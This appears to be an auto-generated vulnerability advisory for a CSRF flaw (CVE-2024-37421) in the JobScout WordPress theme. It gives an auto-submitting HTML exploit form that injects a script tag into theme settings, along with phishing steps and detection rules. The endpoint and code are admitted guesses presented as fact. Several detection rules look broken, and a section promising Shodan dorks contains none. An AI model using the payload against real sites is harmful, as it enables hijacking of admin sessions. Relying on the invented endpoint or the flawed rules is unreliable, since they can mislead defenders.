CVE-2024-37421
Executive Summary
CVE-2024-37421 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the JobScout theme by Rarathemes, a WordPress ecosystem component. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or creating rogue admin accounts, without their consent. The vulnerability affects all versions of JobScout up to and including 1.1.4. As of this report, no official patch has been released, and the vendor's patch status remains unknown. The CVSS score of 4.3 (Medium) reflects the low complexity of exploitation but the requirement for user interaction. Given the widespread use of WordPress themes, this vulnerability poses a significant risk to site integrity and data confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The lack of a patch from the vendor (Rarathemes) means that all sites running JobScout <= 1.1.4 are exposed. Since WordPress themes are often bundled with plugins and custom code, the supply chain risk is elevated. Site administrators must manually apply mitigations or switch to an alternative theme until a patch is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): Low (L) – Limited ability to modify data (e.g., theme settings).
- Availability (A): None (N) – No impact on service availability.
Threat Level: Medium. Exploitation requires social engineering, but the impact can be severe if an attacker chains this with other vulnerabilities (e.g., privilege escalation).
Deep Dive & Mechanics
The JobScout theme lacks proper CSRF nonce validation on critical administrative actions. In WordPress, CSRF tokens (nonces) are used to verify that requests originate from the legitimate admin interface. Without this check, an attacker can craft a malicious link or form that, when clicked by an authenticated admin, performs actions on their behalf.
Vulnerable Endpoints: The theme likely exposes AJAX handlers or admin-post actions that modify settings (e.g., theme options, customizer settings) without verifying a nonce. For example, a request to /wp-admin/admin-ajax.php?action=jobscout_save_settings might accept arbitrary data without a valid _wpnonce parameter.
Attack Flow:
- Attacker identifies a logged-in admin (e.g., via a forum or social engineering).
- Attacker crafts a malicious HTML page or email containing a hidden form that submits a request to the vulnerable endpoint.
- The admin visits the page (or clicks a link), triggering the request with their session cookies.
- The server processes the request, altering theme settings (e.g., changing the site title, injecting malicious JavaScript, or creating a new admin user if the theme has user management capabilities).
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the fix. A patched version would include a nonce check before processing sensitive actions.
Vulnerable Code (Example):
add_action('wp_ajax_jobscout_save_settings', 'jobscout_save_settings');
function jobscout_save_settings() {
// No nonce verification
update_option('jobscout_theme_options', $_POST['options']);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_jobscout_save_settings', 'jobscout_save_settings');
function jobscout_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'jobscout_save_settings')) {
wp_die('CSRF validation failed.');
}
update_option('jobscout_theme_options', $_POST['options']);
wp_die();
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site running JobScout <= 1.1.4.
- An authenticated admin session (the victim must be logged in).
Exploit Payload (HTML):
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="jobscout_save_settings">
<input type="hidden" name="options[site_title]" value="Hacked by Attacker">
<input type="hidden" name="options[footer_text]" value="<script>alert('XSS')</script>">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Steps:
- Host the above HTML on an attacker-controlled server.
- Send the link to the victim admin via email or social engineering.
- Once the admin visits the page, the form auto-submits, altering the theme settings.
Blue Team (Defensive)
Detection:
- Monitor for unexpected changes to theme options (e.g., site title, footer text).
- Look for requests to
/wp-admin/admin-ajax.phpwithaction=jobscout_save_settingsoriginating from external referrers.
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
- Use the
SameSitecookie attribute to prevent cross-site requests from carrying session cookies.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=jobscout_save_settingsand no_wpnonceparameter. - Referrer headers from external domains (e.g., attacker-controlled sites).
- HTTP requests to
- File System:
- Modified
wp_optionstable entries forjobscout_theme_options.
- Modified
- Logs:
- Unusual changes to theme settings in WordPress audit logs (if enabled).
Detection Engineering
YARA Rule
rule Detect_JobScout_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against JobScout theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37421"
strings:
$ajax_action = "action=jobscout_save_settings"
$nonce_missing = "wp_verify_nonce" nocase
condition:
$ajax_action and not $nonce_missing
}
Sigma Rule
title: JobScout CSRF Exploit Attempt
id: 8a3f2c1e-5d7b-4a9c-8e6f-2b1d3c4a5e6f
status: experimental
description: Detects HTTP requests targeting JobScout theme without CSRF nonce
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=jobscout_save_settings'
cs-referrer|re: '^https?://(?!target-site\.com)'
condition: selection
falsepositives:
- Legitimate admin actions if nonce is missing due to plugin conflict
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-37421 JobScout CSRF Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=jobscout_save_settings"; http_client_body;
pcre:"/Referer: https?:\/\/(?!target-site\.com)/i";
sid:1000001;
rev:1;
reference:cve,2024-37421;
)
Remediation & Mitigation
Immediate Actions:
- Disable the JobScout theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
- Implement a WAF rule to block requests to
/wp-admin/admin-ajax.phpthat lack a valid nonce. - Educate administrators about phishing attacks that could trigger CSRF.
Long-Term Fix:
- Monitor the Rarathemes website or WordPress theme repository for an official patch.
- If the theme is no longer maintained, consider migrating to an alternative theme with active support.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.